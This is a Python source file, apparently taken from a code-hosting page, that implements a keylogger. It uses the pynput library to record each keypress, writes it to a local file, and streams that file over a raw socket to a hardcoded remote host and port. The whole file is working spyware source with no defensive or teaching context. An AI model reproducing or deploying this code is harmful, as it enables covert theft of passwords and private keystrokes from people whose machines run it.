85 lines
1.9 KiB
Python
85 lines
1.9 KiB
Python
![]() |
import socket
|
||
|
import os
|
||
|
import tqdm
|
||
|
from tkinter import *
|
||
|
from pynput import keyboard
|
||
|
|
||
|
#window = Tk()
|
||
|
#label = Label(window, text= 'What is the IP')
|
||
|
#entry = Entry(browser_window, width=200)
|
||
|
#entry.insert(END, IP)
|
||
|
#label.pack()
|
||
|
#entry.pack()
|
||
|
|
||
|
|
||
|
|
||
|
SEPARATOR = "<SEPARATOR>"
|
||
|
BUFFER_SIZE = 128 # send 4096 bytes each time step
|
||
|
|
||
|
host = "10.4.27.243"
|
||
|
# the ip address or hostname of the server, the receiver
|
||
|
# the port, let's use 5001
|
||
|
port = 10001
|
||
|
# the name of file we want to send, make sure it exists
|
||
|
filename = "dataKP.txt"
|
||
|
# get the file size
|
||
|
filesize = os.path.getsize("dataKP.txt")
|
||
|
|
||
|
#IPfile = open("IPfile.txt", "w")
|
||
|
#text_file.write("¬")
|
||
|
#text_file.close()
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
# create the client socket
|
||
|
s = socket.socket()
|
||
|
print(f"[+] Connecting to {host}:{port}")
|
||
|
s.connect((host, port))
|
||
|
print("[+] Connected.")
|
||
|
# send the filename and filesize
|
||
|
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
|
||
|
|
||
|
def sendfile():
|
||
|
# start sending the file
|
||
|
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
|
||
|
with open(filename, "rb") as f:
|
||
|
for _ in progress:
|
||
|
# read the bytes from the file
|
||
|
bytes_read = f.read(BUFFER_SIZE)
|
||
|
if not bytes_read:
|
||
|
# file transmitting is done
|
||
|
break
|
||
|
# we use sendall to assure transimission in
|
||
|
# busy networks
|
||
|
s.sendall(bytes_read)
|
||
|
# update the progress bar
|
||
|
progress.update(len(bytes_read))
|
||
|
# close the socket
|
||
|
#s.close()
|
||
|
|
||
|
#-----------------------------------------------------------
|
||
|
|
||
|
|
||
|
def on_press(key):
|
||
|
text_file = open("dataKP.txt", "w")
|
||
|
text_file.write(('{}'.format(key)).replace("'", ""))
|
||
|
text_file.close()
|
||
|
sendfile()
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
with keyboard.Listener(
|
||
|
|
||
|
on_press = on_press) as listener:
|
||
|
|
||
|
listener.join()
|
||
|
|
||
|
|
||
|
#-----------------------------------------
|
||
|
|